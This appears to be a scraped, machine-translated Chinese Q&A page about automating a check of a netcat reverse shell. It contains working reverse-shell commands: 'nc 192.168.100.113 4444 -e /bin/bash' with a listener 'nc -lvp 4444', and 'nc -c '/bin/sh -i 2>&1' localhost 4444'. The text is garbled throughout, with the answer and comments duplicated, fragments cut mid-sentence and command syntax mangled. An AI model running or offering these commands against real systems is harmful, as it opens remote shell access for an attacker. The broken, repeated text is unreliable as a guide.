Linux 使用脚本检查netcat反向shell

Linux 使用脚本检查netcat反向shell,linux,shell,netcat,reverse-shell,bash,Linux,Shell,Netcat,Reverse Shell,Bash,我用netcat做反向shell A侧nc 192.168.100.113 4444–e/bin/bash B侧nc–lvp 4444 我想用shell脚本从B端自动化并检查这个过程,这个脚本使shell真正起作用 在B侧,在nc–lvp 4444之后,我如何等待,直到获得连接,然后发送ls命令并检查结果?您必须驱动所有FD并使用-I标志: 第一控制台: nc -lp 4444 第二控制台: nc -c '/bin/sh -i 2>&1' localhost 4444 当然

我用netcat做反向shell

A侧
nc 192.168.100.113 4444–e/bin/bash

B侧
nc–lvp 4444

我想用shell脚本从B端自动化并检查这个过程,这个脚本使shell真正起作用

在B侧,在
nc–lvp 4444
之后,我如何等待,直到获得连接,然后发送
ls
命令并检查结果?

您必须驱动所有FD并使用
-I
标志: 第一控制台:

nc -lp 4444
第二控制台:

nc -c '/bin/sh -i 2>&1'  localhost 4444 
当然,我在测试中使用了
localhost
,您可以使用IP代替

我已经在我的

实现中使用了此选项,您必须驱动所有FD并使用
-I
标志: 第一控制台:

nc -lp 4444
第二控制台:

nc -c '/bin/sh -i 2>&1'  localhost 4444 
当然,我在测试中使用了
localhost
,您可以使用IP代替


我在实现操作系统和网络猫的哪个版本(BSD,GNU)?操作系统和网络猫的哪个版本(BSD,GNU)??我不知道如何使用第二个控制台发送和获取
ls
的结果?@yfr2493azzrggacom,而
sh
在第二个控制台中运行,你必须使用第一个控制台来输入和阅读答案…所以我想在脚本中这样做…不是吗typing@yfr24493AzzrggAcom您可以使用
nc-lp 4444。我不知道如何使用第二个控制台发送和获取
ls
的结果?@yfr2493azzrggacom,而
sh
在第二个控制台中运行,你必须使用第一个控制台来输入和阅读答案…所以我想在脚本中这样做…不是吗typing@yfr24493AzzrggAcom您可以使用
nc-lp4444